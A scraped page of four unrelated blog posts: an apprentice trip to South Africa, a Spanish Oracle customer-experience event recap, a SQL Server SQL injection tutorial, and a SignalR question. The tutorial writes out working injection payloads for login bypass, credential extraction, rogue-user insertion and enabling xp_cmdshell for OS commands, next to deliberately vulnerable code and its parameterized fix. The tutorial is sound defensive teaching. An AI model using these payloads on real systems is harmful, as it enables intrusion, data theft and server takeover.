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  • Apprentice Boot Camp in South Africa (Part 2)

    - by Tim Koekkoek
    By Maximilian Michel (DE), Jorge Garnacho (ES), Daniel Maull (UK), Adam Griffiths (UK), Guillermo De Las Nieves (ES), Catriona McGill (UK), Ed Dunlop (UK) Today we have the second part of the adventures of seven apprentices from all over Europe in South-Africa!  Kruger National Park & other experiences Going to the Kruger National Park was definitely an experience we will all remember for the rest of our lives. This trip,organised by Patrick Fitzgerald, owner of the Travellers Nest (where we all stayed), took us from the hustle and bustle of Joburg to experience what Africa is all about, the wild! Although the first week’s training we had prior to this trip to the Kruger was going very well, we all knew this was to be a very nice break before we started the second week of training. And we were right, the animals, scenery and sights we saw were just simply incredible and like I said something we will remember for the rest of our lives. To see lions, elephants, cheetahs and rhinos and many more in a zoo is one thing, but to see them in the wild, in their natural habitat is very special and I personally only realised this from the early 5 am start on the first morning in the Kruger, which was definitely worth it. Not only was it all about the safari, we ate some wonderful food, in particular on the Saturday night, Patrick made us a traditional South African Braai which was one of my favourite meals of the whole two weeks. After the Kruger National Park we had a whole day of traveling back to Johannesburg but even this was made to be a good day by our hosts. Despite the early start on the road it was all worth it by the time we reached God's Window. The walk to the top was made a lot harder by all the steaks we had eaten in the first week but the hard walk was worth it at the top, with views that stretched for miles. The Food The food in South Africa is typically meat and in big amounts, while there we ate a lot of big beef steaks, ribs and kudu sausage. All of the meat we ate was usually cooked with a sauce such as a Barbeque glaze. The restaurants we visited were: Upperdeck Restaurant, with live music and a great terrace to eat, the atmosphere was good for enjoying the music and eating our food. Most of us ate  Spare ribs that weighed 600 kg, with barbecue sauce that was delicious. Die Bosvelder Pub & Restaurant is a restaurant with a very surprising decor, this is because the walls had many of south Africa’s famous animals on them. The food was maybe the best we ate in South Africa. Our orders were: Springbokvlakte Lambs' Neck Stew, beef in gravy and steaks topped with cheese and then more meat on top! All meals were accompanied by a selection of white sauce cauliflower, spinach and zanhorias. Pepper Chair Restaurant, where the specialty is T-Bone steaks of 1.4 kg, but most of us were happy to attempt the 1 kg. Cooked with barbecue sauce over the meat, it was very good!  The only problem was their size causing the  the meat to get cold if you did not eat it very fast! We’re all waiting for our 1.0 kg t-bone steak including our Senior Director EMEA Systems Support Germany & Switzerland: Werner Hoellrigl The Godfather Restaurant, the food here was more meat in abundance. We ate: great ribs, hamburgers, steaks and all accompanied with a small plates of carrot and sauteed spinach, very good. We had two great weeks in South-Africa! If you want to join Oracle, then check http://campus.oracle.com 

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  • El éxito del Customer Experience

    - by Noelia Gomez
    Normal 0 false false false EN-US X-NONE X-NONE MicrosoftInternetExplorer4 Desde hace más de un año Oracle está apostando por soluciones que supongan un cambio en la gestión de la relación con el cliente, mejorando su experiencia para fidelizarle mientras las empresas ahorran en costes. Por otro lado, son muchas las empresas las que se han dado cuenta de esta necesidad y de que las redes sociales permiten una conexión con el cliente que antes no se había logrado, pudiendo detectar necesidades antes desconocidas. Por todo ello, el pasado 29 de Octubre Contact Center, en colaboración con Oracle, quiso invitar la los especialistas de Customer Experience de las mayores empresas de España en una jornada ejecutiva para descubrir las novedades en este área e intercambiar opiniones con otros expertos. Normal 0 false false false EN-US X-NONE X-NONE MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin:0cm; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Calibri","sans-serif";} Fernando Rumbero, Iberia Applications Cluster Leader de Oracle, abrió las ponencias hablando de la “Tercera Revolución”, una presentación que nos abrió la perspectiva de la realidad en la que vivimos, clientes, usuarios y empresas. Por su parte, Victor Lopez, Sales Consulting Director de Oracle, nos condujo en Un recorrido por el mundo del cliente para lograr ofrecer una experiencia que este espera. Después, conocimos casos prácticos de la mano de Albert Valls, especialista en CX, que nos mostró los resultados de algunos de nuestros clientes y como han logrado alcanzar sus objetivos. Tras un breve descanso que dio lugar al networking, escuchamos a la ponencia más esperada de la jornada: ¿Por qué Linkedin tienen 249 millones de usuarios? Francesc Arbiol, Head of Iberia, Linkedin, fue el responsable de responder a esta pregunta, dándonos las claves para ofrecer un servicio de alta calidad y rentable con Oracle RightNow. En el momento para preguntas y respuestas, moderado por Guillermo San Roman, Applications Sales Director de Oracle, los asistentes estuvieron muy activos y fueron muchas las interacciones con los ponentes y entre los propios asistentes. En este espacio se pusieron de manifiesto las preguntas más latentes de este escenario: ¿Estamos preparados para dar respuesta y comprender al cliente de hoy? ¿Cómo dirigir y priorizar las actividades para alcanzar el mejor resultado?Infraestructuras y claves para aprender a liderar la experiencia de cliente. ¿Cómo integrar a todas las áreas de la empresa en el proceso de Customer Experience? Proactividad y multicanalidad: dos principios básicos en el Customer Experience La jornada se cerró con un coctel en el que el prevaleció el intercambio de opiniones y encuentros entre profesionales. Sin duda un evento de los que te hacen irte a casa con miles de ideas en la cabeza. ¿Estuviste en el encuentro? Cuéntanos, ¿qué te pareció? ¿No pudiste asistir? Ponte en contacto con nosotros y nos acercaremos a tu oficina.   /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin:0cm; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;}

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  • SQL Server SQL Injection from start to end

    - by Mladen Prajdic
    SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

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  • SignalR cannot read property client of undefined

    - by polonskyg
    I'm trying to add SignalR to my project (ASPNET MVC 4). But I can't make it work. In the below image you can see the error I'm receiving. I've read a lot of stackoverflow posts but none of them is resolving my issue. This is what I did so far: 1) Ran Install-Package Microsoft.AspNet.SignalR -Pre 2) Added RouteTable.Routes.MapHubs(); in Global.asax.cs Application_Start() 3) If I go to http://localhost:9096/Gdp.IServer.Web/signalr/hubs I can see the file content 4) Added <modules runAllManagedModulesForAllRequests="true"/> to Web.Config 5) Created folder Hubs in the root of the MVC application 6) Moved jquery and signalR scripts to /Scripts/lib folder (I'm not using jquery 1.6.4, I'm using the latest) This is my Index.cshtml <h2>List of Messages</h2> <div class="container"> <input type="text" id="message" /> <input type="button" id="sendmessage" value="Send" /> <input type="hidden" id="displayname" /> <ul id="discussion"> </ul> </div> @section pageScripts { <!--Reference the SignalR library. --> <script src="@Url.Content("~/Scripts/jquery.signalR-1.0.0-rc1.min.js")" type="text/javascript"></script> <!--Reference the autogenerated SignalR hub script. --> <script type="text/javascript" src="~/signalr/hubs"></script> <script src="@Url.Content("~/Scripts/map.js")" type="text/javascript"></script> } This is my IServerHub.cs file (located inside Hubs folder) namespace Gdp.IServer.Ui.Web.Hubs { using Microsoft.AspNet.SignalR.Hubs; [HubName("iServerHub")] public class IServerHub : Hub { public void Send(string name, string message) { Clients.All.broadcastMessage(name, message); } } } And this is map.js $(function () { // Declare a proxy to reference the hub. var clientServerHub = $.connection.iServerHub; // Create a function that the hub can call to broadcast messages. clientServerHub.client.broadcastMessage = function (name, message) { $('#discussion').append('<li><strong>' + name + '</strong>:&nbsp;&nbsp;' + message + '</li>'); }; // Get the user name and store it to prepend to messages. $('#displayname').val(prompt('Enter your name:', '')); // Set initial focus to message input box. $('#message').focus(); // Start the connection. $.connection.hub.start().done(function () { $('#sendmessage').click(function () { // Html encode display name and message. var encodedName = $('<div />').text($('#displayname').val()).html(); var encodedMsg = $('<div />').text($('#message').val()).html(); // Call the Send method on the hub. clientServerHub.server.send(encodedName, encodedMsg); // Clear text box and reset focus for next comment. $('#message').val('').focus(); }); }); }); The DLL's I see references for SignalR are: Microsoft.AspNet.SignalR.Core Microsoft.AspNet.SignalR.Owin Microsoft.AspNet.SignalR.SystemWeb Any ideas how to get it work? Should I make any change because the scripts are in /Script/lib folder? NOTE I'm following the instruction found here on how to set up Windsor Castle to make it work with SignalR, and again, seems that the proxy cannot be created and I'm getting the same error: Cannot read property client of undefined meaning that the proxy to the hub was not created This is how I have it in the server public class IncidentServerHub : Hub and like this in the client var clientServerHub = $.connection.incidentServerHub; Again, I can see the dynamically created file here: /GdpSoftware.Server.Web/signalr/hubs So, Why the proxy is not created? Thanks in advance!!! Guillermo.

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